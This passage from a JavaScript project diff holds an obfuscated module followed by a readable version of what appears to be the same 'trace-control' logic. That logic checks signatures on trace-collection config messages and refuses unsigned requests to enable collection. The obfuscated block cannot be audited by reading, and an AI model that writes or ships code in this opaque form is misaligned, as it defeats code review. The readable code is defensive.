_0x4dab3f===_0x1ba8be;},_0x54a19b[_0x18b2c8(0x10a,'\x37\x79\x43\x5a')]=_0x18b2c8(0x12a,'\x6f\x4e\x56\x46')+'\x65',_0x54a19b[_0x18b2c8(0x194,'\x55\x5d\x76\x5d')]=_0x18b2c8(0x199,'\x59\x4e\x42\x50')+_0x18b2c8(0x1bc,'\x74\x59\x6d\x53')+_0x18b2c8(0x195,'\x79\x69\x65\x45'),_0x54a19b[_0x18b2c8(0x1b5,'\x4b\x69\x6f\x41')]=_0x18b2c8(0x11a,'\x54\x6f\x7a\x37')+_0x18b2c8(0xc3,'\x59\x4e\x42\x50')+_0x18b2c8(0x1e0,'\x6f\x26\x67\x30'),_0x54a19b['\x6f\x56\x6c\x59\x50']=function(_0x45befb,_0x2d9753){return _0x45befb!==_0x2d9753;};const _0x22e086=_0x54a19b,_0x5ad4a3={};for(const _0x5b5225 of Object['\x6b\x65\x79\x73'](_0x11f413)[_0x18b2c8(0x133,'\x21\x6c\x38\x70')]()){if(_0x22e086[_0x18b2c8(0x18e,'\x56\x31\x30\x75')](_0x5b5225,_0x22e086[_0x18b2c8(0x13c,'\x31\x49\x72\x4a')])||_0x22e086[_0x18b2c8(0x1a8,'\x6b\x6b\x63\x28')](_0x5b5225,_0x22e086[_0x18b2c8(0x1f5,'\x5e\x21\x5a\x52')])||_0x22e086[_0x18b2c8(0x1da,'\x30\x6e\x41\x35')](_0x5b5225,_0x22e086[_0x18b2c8(0x1bb,'\x24\x6b\x6c\x50')]))continue;if(_0x22e086['\x64\x61\x4e\x53\x57'](_0x5b5225,_0x18b2c8(0x1c5,'\x4c\x31\x32\x69')+_0x18b2c8(0x177,'\x5a\x5d\x6b\x55')))continue;const _0x276001=_0x11f413[_0x5b5225];if(_0x22e086[_0x18b2c8(0x110,'\x4b\x46\x5d\x65')](_0x276001,undefined))_0x5ad4a3[_0x5b5225]=_0x276001;}return JSON[_0x18b2c8(0xd0,'\x54\x6f\x7a\x37')+'\x79'](_0x5ad4a3);}function _0x404023(_0x1c5dcb={},_0x806cb5=process.env){const _0x13a31c=_0x38d030,_0x12a001={'\x6c\x4d\x42\x73\x4e':function(_0x1627f5,_0x51cffa){return _0x1627f5(_0x51cffa);},'\x63\x65\x6a\x6e\x52':function(_0x2fe17e,_0x9f817d){return _0x2fe17e||_0x9f817d;},'\x66\x6f\x4f\x51\x63':function(_0x14b5f4,_0x37e77f){return _0x14b5f4!==_0x37e77f;},'\x45\x51\x78\x67\x74':'\x6a\x58\x4d\x53\x41','\x45\x51\x63\x49\x57':_0x13a31c(0x175,'\x5b\x43\x56\x44'),'\x70\x45\x48\x45\x63':_0x13a31c(0x150,'\x6e\x48\x38\x5d')},_0x423a07=String(_0x806cb5[_0x13a31c(0x1d3,'\x25\x59\x4d\x24')+_0x13a31c(0x116,'\x45\x59\x44\x28')+_0x13a31c(0x16b,'\x4f\x4a\x59\x24')+_0x13a31c(0x147,'\x37\x79\x43\x5a')+_0x13a31c(0x115,'\x5a\x5d\x6b\x55')]||_0x806cb5[_0x13a31c(0x11f,'\x41\x63\x51\x71')+_0x13a31c(0xe5,'\x6b\x4f\x2a\x39')+_0x13a31c(0xab,'\x6f\x26\x67\x30')+'\x47\x5f\x53\x49\x47\x4e\x49\x4e'+_0x13a31c(0xf4,'\x74\x59\x6d\x53')+_0x13a31c(0xb0,'\x5e\x21\x5a\x52')]||'')[_0x13a31c(0xe0,'\x4b\x69\x6f\x41')](),_0x44fbf7=_0x12a001[_0x13a31c(0xf1,'\x47\x4f\x5a\x63')](String,_0x1c5dcb[_0x13a31c(0x183,'\x24\x6b\x6c\x50')+'\x65']||_0x1c5dcb[_0x13a31c(0xbe,'\x6b\x6b\x63\x28')+_0x13a31c(0x109,'\x45\x59\x44\x28')+_0x13a31c(0x1b3,'\x6c\x4a\x24\x58')]||'')['\x74\x72\x69\x6d']();if(_0x12a001[_0x13a31c(0x145,'\x39\x73\x51\x51')](!_0x423a07,!_0x44fbf7))return![];try{return _0x12a001[_0x13a31c(0x10c,'\x55\x5d\x76\x5d')](_0x12a001[_0x13a31c(0x16e,'\x47\x24\x67\x4b')],_0x13a31c(0x187,'\x4f\x4a\x59\x24'))?![]:_0x1bf197[_0x13a31c(0x15a,'\x59\x4e\x42\x50')](_0x12a001[_0x13a31c(0x1c1,'\x66\x74\x21\x32')],Buffer['\x66\x72\x6f\x6d'](_0x12a001['\x6c\x4d\x42\x73\x4e'](_0x594a7a,_0x1c5dcb),_0x13a31c(0x135,'\x6a\x4c\x32\x66')),_0x423a07,Buffer[_0x13a31c(0x12d,'\x6f\x26\x67\x30')](_0x44fbf7,_0x12a001[_0x13a31c(0xc9,'\x6b\x6b\x63\x28')]));}catch{return![];}}class _0x55ee90{constructor({store:_0x2e8959,logger:_0x25b153}={}){const _0x2354f0=_0x38d030,_0x55a2f7={};_0x55a2f7[_0x2354f0(0x129,'\x65\x28\x68\x2a')]=function(_0x271f47,_0x41f819){return _0x271f47||_0x41f819;};const _0x5ef708=_0x55a2f7;this[_0x2354f0(0x1b4,'\x4a\x65\x35\x70')]=_0x2e8959,this[_0x2354f0(0x1ac,'\x30\x6e\x41\x35')]=_0x5ef708[_0x2354f0(0x126,'\x6e\x48\x38\x5d')](_0x25b153,console);}['\x70\x72\x6f\x63\x65\x73\x73'](_0x22ced3){const _0x1ad953=_0x38d030,_0x5617c1={'\x57\x54\x71\x6c\x57':_0x1ad953(0x18a,'\x45\x59\x44\x28')+_0x1ad953(0x1eb,'\x4f\x4a\x59\x24')+'\x69\x67\x6e\x6f\x72\x65\x64\x20'+_0x1ad953(0x1d4,'\x5a\x35\x52\x44')+_0x1ad953(0x1c8,'\x4a\x65\x35\x70')+_0x1ad953(0x14e,'\x6f\x26\x67\x30')+'\x73\x20\x65\x6e\x61\x62\x6c\x65'+_0x1ad953(0x141,'\x4b\x69\x6f\x41')+_0x1ad953(0x160,'\x54\x6f\x7a\x37')+_0x1ad953(0xb7,'\x4a\x65\x35\x70')+_0x1ad953(0x1cf,'\x24\x6b\x6c\x50'),'\x5a\x66\x6a\x5a\x67':function(_0x1b3bc1,_0x547e01){return _0x1b3bc1(_0x547e01);},'\x4d\x4f\x4b\x7a\x58':_0x1ad953(0x1a7,'\x5e\x21\x5a\x52'),'\x70\x78\x64\x70\x48':_0x1ad953(0xee,'\x56\x31\x30\x75'),'\x46\x4f\x68\x72\x66':function(_0x187d49,_0x1c90ef){return _0x187d49!==_0x1c90ef;},'\x75\x6c\x41\x71\x62':_0x1ad953(0x1d0,'\x24\x6b\x6c\x50'),'\x75\x4b\x59\x48\x57':function(_0x42b644,_0x517c32){return _0x42b644!==_0x517c32;},'\x63\x4c\x6d\x68\x49':_0x1ad953(0x12b,'\x74\x59\x6d\x53'),'\x7a\x49\x70\x4e\x6e':_0x1ad953(0x1d1,'\x47\x4f\x5a\x63')+_0x1ad953(0x107,'\x5b\x43\x56\x44')+_0x1ad953(0x157,'\x42\x24\x78\x5b')+_0x1ad953(0x105,'\x74\x59\x6d\x53')+'\x77\x69\x74\x68\x6f\x75\x74\x20'+_0x1ad953(0x17d,'\x30\x6e\x41\x35')+_0x1ad953(0xec,'\x47\x4f\x5a\x63'),'\x4d\x42\x6d\x64\x79':function(_0x12baae,_0x20d9b8){return _0x12baae===_0x20d9b8;},'\x4e\x56\x61\x70\x54':'\x73\x74\x72\x69\x6e\x67','\x58\x6d\x44\x73\x51':function(_0x5d2103,_0x582b04){return _0x5d2103&&_0x582b04;},'\x44\x70\x6e\x42\x66':'\x5a\x43\x4d\x48\x45','\x47\x6f\x55\x4b\x46':_0x1ad953(0x171,'\x6f\x4e\x56\x46')+_0x1ad953(0x15c,'\x24\x6b\x6c\x50')+_0x1ad953(0x144,'\x6c\x4a\x24\x58'),'\x4b\x50\x46\x73\x45':_0x1ad953(0x140,'\x70\x45\x75\x76'),'\x5a\x4a\x71\x68\x41':_0x1ad953(0x1fb,'\x42\x24\x78\x5b'),'\x6f\x45\x49\x74\x77':function(_0x5f03bc,_0x59db04){return _0x5f03bc===_0x59db04;},'\x6a\x41\x46\x6e\x7a':_0x1ad953(0x1cd,'\x34\x64\x31\x41'),'\x78\x57\x76\x6b\x6c':_0x1ad953(0xce,'\x6b\x6b\x63\x28'),'\x7a\x67\x46\x43\x49':_0x1ad953(0x1cb,'\x6a\x4c\x32\x66')+_0x1ad953(0x1f8,'\x5e\x21\x5a\x52')+_0x1ad953(0x113,'\x6f\x26\x67\x30')+_0x1ad953(0x14f,'\x5a\x5d\x6b\x55')+_0x1ad953(0xfe,'\x6e\x48\x38\x5d')+_0x1ad953(0x170,'\x5b\x43\x56\x44')+_0x1ad953(0x128,'\x74\x4d\x52\x39')+_0x1ad953(0x1e9,'\x70\x45\x75\x76')+_0x1ad953(0xcb,'\x4c\x31\x32\x69')+_0x1ad953(0x19a,'\x70\x45\x75\x76')+_0x1ad953(0x1ab,'\x28\x48\x5e\x5e')+'\x5f\x4b\x45\x59','\x5a\x6c\x6c\x52\x48':_0x1ad953(0xd7,'\x44\x29\x4f\x36')+_0x1ad953(0x180,'\x6b\x4f\x2a\x39')+_0x1ad953(0x152,'\x45\x59\x44\x28')+_0x1ad953(0xac,'\x47\x4f\x5a\x63'),'\x5a\x59\x63\x64\x49':function(_0x1ed33b,_0x12e274){return _0x1ed33b+_0x12e274;},'\x4b\x6e\x62\x44\x44':_0x1ad953(0x142,'\x68\x24\x57\x63')+_0x1ad953(0x1e8,'\x66\x74\x21\x32')+_0x1ad953(0xe2,'\x59\x37\x46\x5b')+_0x1ad953(0x1aa,'\x42\x24\x78\x5b')+'\x20','\x4a\x56\x44\x77\x4b':_0x1ad953(0x1d8,'\x30\x6e\x41\x35'),'\x4e\x73\x6d\x43\x59':_0x1ad953(0x1c9,'\x24\x6b\x6c\x50')},_0x221e14=_0x22ced3&&_0x22ced3[_0x1ad953(0x18f,'\x74\x4d\x52\x39')]?_0x22ced3[_0x1ad953(0x1fd,'\x34\x64\x31\x41')]:_0x22ced3,_0x14cd2b=_0x221e14&&(_0x221e14['\x65\x6e\x61\x62\x6c\x65\x64']??_0x221e14['\x74\x72\x61\x63\x65\x5f\x63\x6f'+_0x1ad953(0xeb,'\x4f\x4a\x59\x24')+_0x1ad953(0xca,'\x31\x49\x72\x4a')]??_0x221e14[_0x1ad953(0x1ce,'\x4c\x31\x32\x69')+_0x1ad953(0x10b,'\x74\x4d\x52\x39')+_0x1ad953(0x10e,'\x6e\x48\x38\x5d')+_0x1ad953(0x106,'\x4f\x4a\x59\x24')]);if(_0x5617c1[_0x1ad953(0xcd,'\x54\x6a\x39\x4c')](typeof _0x14cd2b,_0x5617c1[_0x1ad953(0x17c,'\x4f\x4a\x59\x24')])){if(_0x5617c1[_0x1ad953(0x200,'\x24\x6b\x6c\x50')](_0x5617c1[_0x1ad953(0x163,'\x74\x4d\x52\x39')],_0x5617c1[_0x1ad953(0xd8,'\x24\x6b\x6c\x50')]))this[_0x1ad953(0x182,'\x4a\x65\x35\x70')][_0x1ad953(0x19c,'\x59\x4e\x42\x50')]?.(_0x5617c1[_0x1ad953(0x1cc,'\x6e\x48\x38\x5d')]),_0x380dc7=![];else{this[_0x1ad953(0x1ac,'\x30\x6e\x41\x35')][_0x1ad953(0xc2,'\x6c\x4a\x24\x58')]?.(_0x5617c1[_0x1ad953(0x1f6,'\x58\x4e\x25\x7a')]);const _0x817b91={};return _0x817b91[_0x1ad953(0x111,'\x6b\x4f\x2a\x39')]=!![],_0x817b91[_0x1ad953(0xd4,'\x21\x6c\x38\x70')]=![],_0x817b91;}}let _0x467a40=_0x221e14[_0x1ad953(0x158,'\x45\x59\x44\x28')+_0x1ad953(0xb3,'\x25\x59\x4d\x24')+_0x1ad953(0xf3,'\x24\x6b\x6c\x50')]??_0x221e14[_0x1ad953(0x1bf,'\x65\x28\x68\x2a')+_0x1ad953(0xc4,'\x55\x5d\x76\x5d')+_0x1ad953(0x197,'\x70\x45\x75\x76')+'\x6e\x61\x62\x6c\x65\x64'];const _0x17c344=_0x5617c1[_0x1ad953(0x1d7,'\x45\x59\x44\x28')](_0x404023,_0x221e14),_0x240a2e=_0x5617c1[_0x1ad953(0xc8,'\x73\x33\x39\x29')](_0x14cd2b,!![]),_0x36fabf=_0x5617c1[_0x1ad953(0x1db,'\x4c\x31\x32\x69')](_0x467a40,!![]),_0x2119dc=_0x5617c1[_0x1ad953(0xc6,'\x4b\x46\x5d\x65')](typeof _0x221e14[_0x1ad953(0x153,'\x65\x28\x68\x2a')+_0x1ad953(0x198,'\x47\x24\x67\x4b')],_0x5617c1[_0x1ad953(0xaf,'\x21\x6c\x38\x70')])&&_0x221e14[_0x1ad953(0x1c2,'\x6b\x6b\x63\x28')+'\x69\x63\x5f\x6b\x65\x79'][_0x1ad953(0xfc,'\x42\x24\x78\x5b')]();if(_0x5617c1[_0x1ad953(0x10f,'\x24\x6b\x6c\x50')](!_0x17c344,_0x240a2e)){if(_0x5617c1[_0x1ad953(0x120,'\x25\x59\x4d\x24')]==='\x69\x61\x45\x71\x58')_0x31f3d5++;else{this[_0x1ad953(0x172,'\x6b\x4f\x2a\x39')][_0x1ad953(0x167,'\x4b\x69\x6f\x41')]?.(_0x1ad953(0x100,'\x79\x69\x65\x45')+_0x1ad953(0x127,'\x39\x73\x51\x51')+_0x1ad953(0xfb,'\x58\x4e\x25\x7a')+_0x1ad953(0x1ad,'\x68\x24\x57\x63')+'\x64\x20\x74\x72\x61\x63\x65\x20'+_0x1ad953(0xde,'\x6f\x26\x67\x30')+_0x1ad953(0x184,'\x28\x48\x5e\x5e')+_0x1ad953(0x1a0,'\x31\x49\x72\x4a')+_0x1ad953(0x137,'\x6e\x48\x38\x5d')+_0x1ad953(0x17a,'\x73\x55\x42\x5a')+_0x1ad953(0x1a9,'\x4a\x65\x35\x70')+_0x1ad953(0xad,'\x4a\x65\x35\x70'));const _0x3c0f65={};return _0x3c0f65[_0x1ad953(0x1fa,'\x6c\x4a\x24\x58')]=!![],_0x3c0f65[_0x1ad953(0x1b1,'\x28\x48\x5e\x5e')]=![],_0x3c0f65;}}_0x5617c1[_0x1ad953(0xb4,'\x6f\x4e\x56\x46')](!_0x17c344,_0x36fabf)&&(this[_0x1ad953(0x15d,'\x4f\x4a\x59\x24')][_0x1ad953(0xb9,'\x39\x73\x51\x51')]?.(_0x5617c1[_0x1ad953(0x173,'\x73\x55\x42\x5a')]),_0x467a40=![]);this[_0x1ad953(0xf8,'\x6b\x4f\x2a\x39')][_0x1ad953(0x14b,'\x65\x28\x68\x2a')](_0x5617c1[_0x1ad953(0xe7,'\x37\x79\x43\x5a')],_0x14cd2b?_0x5617c1[_0x1ad953(0x15f,'\x37\x79\x43\x5a')]:_0x5617c1[_0x1ad953(0x134,'\x5e\x21\x5a\x52')]);if(typeof _0x467a40===_0x5617c1['\x75\x6c\x41\x71\x62']){if(_0x5617c1[_0x1ad953(0xf9,'\x5b\x43\x56\x44')](_0x1ad953(0x1a5,'\x41\x63\x51\x71'),_0x5617c1[_0x1ad953(0x1af,'\x28\x48\x5e\x5e')])){this[_0x1ad953(0x1ed,'\x37\x79\x43\x5a')][_0x1ad953(0x1bd,'\x54\x6f\x7a\x37')]?.('\x5b\x74\x72\x61\x63\x65\x2d\x63'+_0x1ad953(0x1eb,'\x4f\x4a\x59\x24')+_0x1ad953(0xe3,'\x6f\x4e\x56\x46')+_0x1ad953(0xf5,'\x56\x31\x30\x75')+_0x1ad953(0x119,'\x39\x73\x51\x51')+_0x1ad953(0x102,'\x74\x59\x6d\x53')+_0x1ad953(0x1ca,'\x4f\x4a\x59\x24')+_0x1ad953(0xcc,'\x5b\x43\x56\x44')+_0x1ad953(0x1f2,'\x54\x6a\x39\x4c')+_0x1ad953(0x1f4,'\x78\x74\x71\x40')+_0x1ad953(0x1c7,'\x78\x74\x71\x40')+_0x1ad953(0x155,'\x39\x73\x51\x51'));const _0x28bff1={};return _0x28bff1[_0x1ad953(0x1a3,'\x74\x4d\x52\x39')]=!![],_0x28bff1[_0x1ad953(0x124,'\x41\x63\x51\x71')]=![],_0x28bff1;}else this[_0x1ad953(0x185,'\x5a\x5d\x6b\x55')][_0x1ad953(0x1a1,'\x47\x24\x67\x4b')](_0x1ad953(0xef,'\x6f\x4e\x56\x46')+_0x1ad953(0x114,'\x5a\x5d\x6b\x55')+_0x1ad953(0xae,'\x28\x48\x5e\x5e')+_0x1ad953(0xe1,'\x4b\x69\x6f\x41'),_0x467a40?_0x5617c1[_0x1ad953(0x1ea,'\x74\x59\x6d\x53')]:_0x5617c1[_0x1ad953(0x134,'\x5e\x21\x5a\x52')]);}if(_0x2119dc){if(_0x1ad953(0x1e2,'\x59\x4e\x42\x50')===_0x5617c1[_0x1ad953(0x112,'\x5b\x43\x56\x44')]){const _0x1620f3=_0x3e79dc(_0x52b85e[_0x1ad953(0x1b2,'\x6f\x4e\x56\x46')+_0x1ad953(0x11b,'\x4a\x65\x35\x70')+_0x1ad953(0x17f,'\x24\x6b\x6c\x50')+_0x1ad953(0xea,'\x54\x6a\x39\x4c')+_0x1ad953(0x1b7,'\x33\x70\x62\x4c')]||_0x548cbe[_0x1ad953(0x118,'\x74\x4d\x52\x39')+_0x1ad953(0x108,'\x24\x6b\x6c\x50')+'\x43\x45\x5f\x43\x4f\x4e\x46\x49'+'\x47\x5f\x53\x49\x47\x4e\x49\x4e'+_0x1ad953(0x132,'\x73\x55\x42\x5a')+_0x1ad953(0x179,'\x34\x64\x31\x41')]||'')['\x74\x72\x69\x6d'](),_0x5087c5=rpskcV[_0x1ad953(0xc7,'\x4a\x65\x35\x70')](_0x386370,_0x29cb09[_0x1ad953(0x1e7,'\x73\x33\x39\x29')+'\x65']||_0x38d204[_0x1ad953(0x1dd,'\x24\x6b\x6c\x50')+_0x1ad953(0xbf,'\x73\x33\x39\x29')+_0x1ad953(0xbd,'\x39\x73\x51\x51')]||'')[_0x1ad953(0x166,'\x78\x74\x71\x40')]();if(!_0x1620f3||!_0x5087c5)return![];try{return _0x46dccf[_0x1ad953(0x1d5,'\x30\x6e\x41\x35')](rpskcV[_0x1ad953(0x188,'\x54\x6a\x39\x4c')],_0x30e8c6['\x66\x72\x6f\x6d'](rpskcV[_0x1ad953(0x1d9,'\x55\x5d\x76\x5d')](_0x1b083f,_0x48c26a),_0x1ad953(0x125,'\x47\x4f\x5a\x63')),_0x1620f3,_0x29d774[_0x1ad953(0x169,'\x4a\x65\x35\x70')](_0x5087c5,rpskcV[_0x1ad953(0x12c,'\x5e\x21\x5a\x52')]));}catch{return![];}}else this[_0x1ad953(0x103,'\x6f\x26\x67\x30')][_0x1ad953(0x149,'\x73\x33\x39\x29')]?.(_0x5617c1[_0x1ad953(0xba,'\x33\x70\x62\x4c')]);}this[_0x1ad953(0x161,'\x54\x6a\x39\x4c')][_0x1ad953(0x15e,'\x5b\x43\x56\x44')](_0x5617c1[_0x1ad953(0x1b0,'\x66\x74\x21\x32')],new Date()[_0x1ad953(0x16d,'\x6b\x4f\x2a\x39')+_0x1ad953(0x13b,'\x78\x74\x71\x40')]()),this[_0x1ad953(0xc1,'\x42\x24\x78\x5b')][_0x1ad953(0xcf,'\x70\x45\x75\x76')]?.(_0x5617c1[_0x1ad953(0x18b,'\x28\x48\x5e\x5e')](_0x5617c1[_0x1ad953(0x131,'\x24\x6b\x6c\x50')],_0x14cd2b?_0x5617c1[_0x1ad953(0x11e,'\x28\x48\x5e\x5e')]:_0x5617c1[_0x1ad953(0x1ae,'\x5e\x21\x5a\x52')]));const _0x4dc40f={};return _0x4dc40f[_0x1ad953(0x1fc,'\x4f\x4a\x59\x24')]=!![],_0x4dc40f[_0x1ad953(0xb6,'\x70\x45\x75\x76')]=!![],_0x4dc40f;}[_0x38d030(0xbc,'\x44\x29\x4f\x36')+_0x38d030(0x1df,'\x30\x6e\x41\x35')](){const _0x26d61b=_0x38d030,_0x261737={};_0x261737[_0x26d61b(0x186,'\x47\x24\x67\x4b')]=_0x26d61b(0x123,'\x73\x55\x42\x5a')+_0x26d61b(0x12f,'\x74\x4d\x52\x39')+_0x26d61b(0xb1,'\x24\x6b\x6c\x50')+_0x26d61b(0xfa,'\x21\x6c\x38\x70')+_0x26d61b(0xd5,'\x31\x49\x72\x4a')+_0x26d61b(0x15b,'\x24\x6b\x6c\x50')+_0x26d61b(0x121,'\x6a\x4c\x32\x66'),_0x261737[_0x26d61b(0xdf,'\x5b\x43\x56\x44')]=_0x26d61b(0x1b8,'\x6b\x6b\x63\x28'),_0x261737[_0x26d61b(0xf0,'\x55\x5d\x76\x5d')]=_0x26d61b(0x14a,'\x28\x48\x5e\x5e'),_0x261737[_0x26d61b(0x189,'\x31\x49\x72\x4a')]=_0x26d61b(0x14c,'\x47\x24\x67\x4b')+_0x26d61b(0xda,'\x42\x24\x78\x5b')+'\x69\x67',_0x261737[_0x26d61b(0xbb,'\x73\x33\x39\x29')]=function(_0x43b43a,_0x196cc6){return _0x43b43a===_0x196cc6;},_0x261737[_0x26d61b(0xb2,'\x6e\x48\x38\x5d')]=function(_0x2e16ac,_0x3c3316){return _0x2e16ac===_0x3c3316;},_0x261737[_0x26d61b(0x139,'\x33\x70\x62\x4c')]=_0x26d61b(0x143,'\x41\x63\x51\x71'),_0x261737['\x62\x50\x78\x6f\x4c']=_0x26d61b(0x117,'\x4b\x69\x6f\x41'),_0x261737['\x70\x59\x57\x78\x44']=function(_0x40cad8,_0x195a68){return _0x40cad8!==_0x195a68;},_0x261737[_0x26d61b(0x13f,'\x58\x4e\x25\x7a')]='\x4d\x51\x68\x77\x54';const _0x418dbd=_0x261737,_0x559bc7={};_0x559bc7[_0x26d61b(0xdd,'\x56\x31\x30\x75')]=_0x26d61b(0x138,'\x41\x63\x51\x71')+'\x6c\x6c\x65\x63\x74\x69\x6f\x6e'+_0x26d61b(0x174,'\x6f\x26\x67\x30'),_0x559bc7[_0x26d61b(0x159,'\x65\x28\x68\x2a')]=0x32;const _0x459f9f={};_0x459f9f[_0x26d61b(0xd1,'\x4b\x69\x6f\x41')]=_0x418dbd[_0x26d61b(0x162,'\x78\x74\x71\x40')],_0x459f9f[_0x26d61b(0x156,'\x71\x68\x37\x26')]=0x32;const _0x1aa89a=[...this[_0x26d61b(0x1f3,'\x56\x31\x30\x75')][_0x26d61b(0x101,'\x71\x68\x37\x26')](_0x559bc7),...this[_0x26d61b(0x16a,'\x4b\x69\x6f\x41')][_0x26d61b(0x1dc,'\x5a\x5d\x6b\x55')](_0x459f9f)];let _0x3133f9=0x23e0+-0x773+-0x1c6d;for(const _0x56c47b of _0x1aa89a){const _0x4292e8=this[_0x26d61b(0xf7,'\x6f\x4e\x56\x46')](_0x56c47b),_0x38b7c2=_0x4292e8===!![]||_0x4292e8&&_0x418dbd[_0x26d61b(0x1c6,'\x42\x24\x78\x5b')](_0x4292e8[_0x26d61b(0x111,'\x6b\x4f\x2a\x39')],!![]),_0x429a8b=_0x418dbd[_0x26d61b(0x19d,'\x31\x49\x72\x4a')](_0x4292e8,!![])||_0x4292e8&&_0x418dbd[_0x26d61b(0x1a6,'\x4b\x69\x6f\x41')](_0x4292e8[_0x26d61b(0x1b9,'\x71\x68\x37\x26')],!![]);if(_0x38b7c2){if(_0x418dbd[_0x26d61b(0x1ec,'\x54\x6a\x39\x4c')](_0x418dbd[_0x26d61b(0xd9,'\x37\x79\x43\x5a')],_0x418dbd[_0x26d61b(0xe4,'\x68\x24\x57\x63')])){this[_0x26d61b(0x168,'\x74\x59\x6d\x53')][_0x26d61b(0x11c,'\x78\x74\x71\x40')]?.(PiEfms['\x43\x5a\x4a\x76\x6e']);const _0x4fb9f0={};return _0x4fb9f0[_0x26d61b(0xdb,'\x28\x48\x5e\x5e')]=!![],_0x4fb9f0[_0x26d61b(0x17b,'\x24\x6b\x6c\x50')]=![],_0x4fb9f0;}else this[_0x26d61b(0x104,'\x41\x63\x51\x71')]['\x61\x63\x6b'](_0x56c47b['\x69\x64']);}if(_0x429a8b){if(_0x418dbd[_0x26d61b(0x1e4,'\x54\x6a\x39\x4c')](_0x26d61b(0x17e,'\x54\x6a\x39\x4c'),_0x418dbd['\x7a\x4a\x41\x7a\x46']))_0x3133f9++;else return _0x22d82f[_0x26d61b(0xf6,'\x33\x70\x62\x4c')](PiEfms['\x58\x6c\x4d\x45\x66'],_0x2282c5['\x66\x72\x6f\x6d'](_0x723ebd(_0x114842),_0x26d61b(0x18d,'\x6c\x4a\x24\x58')),_0x408c87,_0x381de5[_0x26d61b(0x190,'\x78\x74\x71\x40')](_0x44f754,PiEfms[_0x26d61b(0x151,'\x34\x64\x31\x41')]));}}return _0x3133f9;}}const _0x2a7146={};_0x2a7146['\x54\x72\x61\x63\x65\x43\x6f\x6e'+'\x74\x72\x6f\x6c']=_0x55ee90,_0x2a7146[_0x38d030(0x1ef,'\x6b\x4f\x2a\x39')+_0x38d030(0xd6,'\x73\x55\x42\x5a')+'\x6e\x66\x69\x67\x50\x61\x79\x6c'+_0x38d030(0x1f9,'\x6c\x4a\x24\x58')]=_0x594a7a,_0x2a7146[_0x38d030(0x130,'\x73\x55\x42\x5a')+_0x38d030(0x191,'\x6f\x26\x67\x30')+_0x38d030(0x165,'\x4f\x4a\x59\x24')+'\x72\x65']=_0x404023,module[_0x38d030(0xf2,'\x6b\x6b\x63\x28')]=_0x2a7146;
1
+ 'use strict';
2
+
3
+ const crypto = require('crypto');
4
+
5
+ function canonicalTraceConfigPayload(payload = {}) {
6
+ const clean = {};
7
+ for (const key of Object.keys(payload).sort()) {
8
+ if (key === 'signature' || key === 'trace_config_signature' || key === 'signature_algorithm') continue;
9
+ if (key === 'hub_public_key') continue;
10
+ const value = payload[key];
11
+ if (value !== undefined) clean[key] = value;
12
+ }
13
+ return JSON.stringify(clean);
14
+ }
15
+
16
+ function verifyTraceConfigSignature(payload = {}, env = process.env) {
17
+ const publicKey = String(
18
+ env.EVOMAP_TRACE_CONFIG_SIGNING_PUBLIC_KEY
19
+ || env.EVOMAP_PROXY_TRACE_CONFIG_SIGNING_PUBLIC_KEY
20
+ || ''
21
+ ).trim();
22
+ const signature = String(payload.signature || payload.trace_config_signature || '').trim();
23
+ if (!publicKey || !signature) return false;
24
+ try {
25
+ return crypto.verify(
26
+ 'sha256',
27
+ Buffer.from(canonicalTraceConfigPayload(payload), 'utf8'),
28
+ publicKey,
29
+ Buffer.from(signature, 'base64')
30
+ );
31
+ } catch {
32
+ return false;
33
+ }
34
+ }
35
+
36
+ class TraceControl {
37
+ constructor({ store, logger } = {}) {
38
+ this.store = store;
39
+ this.logger = logger || console;
40
+ }
41
+
42
+ process(message) {
43
+ const payload = message && message.payload ? message.payload : message;
44
+ const enabled = payload && (
45
+ payload.enabled ??
46
+ payload.trace_collection_enabled ??
47
+ payload.proxy_trace_collection_enabled
48
+ );
49
+ if (typeof enabled !== 'boolean') {
50
+ this.logger.warn?.('[trace-control] ignoring config without boolean enabled');
51
+ return { ack: true, applied: false };
52
+ }
53
+ let profileEnabled = payload.profile_analysis_enabled ?? payload.trace_profile_analysis_enabled;
54
+ const signed = verifyTraceConfigSignature(payload);
55
+ const unsafeEnable = enabled === true;
56
+ const unsafeProfile = profileEnabled === true;
57
+ const hasRuntimeHubKey = typeof payload.hub_public_key === 'string' && payload.hub_public_key.trim();
58
+ if (!signed && unsafeEnable) {
59
+ this.logger.warn?.('[trace-control] rejected unsigned trace config that could enable collection/profile analysis');
60
+ return { ack: true, applied: false };
61
+ }
62
+ if (!signed && unsafeProfile) {
63
+ this.logger.warn?.('[trace-control] ignored unsigned profile analysis enable while applying trace disable');
64
+ profileEnabled = false;
65
+ }
66
+ this.store.setState('trace_collection_enabled', enabled ? 'true' : 'false');
67
+ if (typeof profileEnabled === 'boolean') {
68
+ this.store.setState('trace_profile_analysis_enabled', profileEnabled ? 'true' : 'false');
69
+ }
70
+ if (hasRuntimeHubKey) {
71
+ this.logger.warn?.('[trace-control] ignored runtime hub_public_key; use pinned EVOMAP_PROXY_TRACE_HUB_PUBLIC_KEY');
72
+ }
73
+ this.store.setState('trace_collection_updated_at', new Date().toISOString());
74
+ this.logger.log?.('[trace-control] trace collection ' + (enabled ? 'enabled' : 'disabled'));
75
+ return { ack: true, applied: true };
76
+ }
77
+
78
+ pollAndApply() {
79
+ const messages = [
80
+ ...this.store.poll({ type: 'trace_collection_config', limit: 50 }),
81
+ ...this.store.poll({ type: 'proxy_trace_config', limit: 50 }),
82
+ ];
83
+ let applied = 0;
84
+ for (const msg of messages) {
85
+ const result = this.process(msg);
86
+ const ack = result === true || (result && result.ack === true);
87
+ const didApply = result === true || (result && result.applied === true);
88
+ if (ack) {
89
+ this.store.ack(msg.id);
90
+ }
91
+ if (didApply) {
92
+ applied++;
93
+ }
94
+ }
95
+ return applied;
96
+ }
97
+ }
98
+
99
+ module.exports = { TraceControl, canonicalTraceConfigPayload, verifyTraceConfigSignature };
@@ -4,7 +4,7 @@ const { getEvomapPath } = require('../gep/paths');
4
4
  const { MailboxStore } = require('./mailbox/store');
5
5
  const { ProxyHttpServer } = require('./server/http');
6
6
  const { buildRoutes } = require('./server/routes');
7
- const { buildMessagesHandler, canonicalizeForBedrock } = require('./router/messages_route');
7
+ const { buildMessagesHandler, canonicalizeForBedrock, supportsAdaptiveThinking } = require('./router/messages_route');
8
8
  const { SyncEngine } = require('./sync/engine');
9
9
  const { LifecycleManager } = require('./lifecycle/manager');
10
10
  const { TaskMonitor } = require('./task/monitor');
@@ -64,7 +64,15 @@ function planAssetSearch(body = {}) {
64
64
 
65
65
  class EvoMapProxy {
66
66
  constructor(opts = {}) {
67
- this.hubUrl = (opts.hubUrl || process.env.A2A_HUB_URL || '').replace(/\/+$/, '');
67
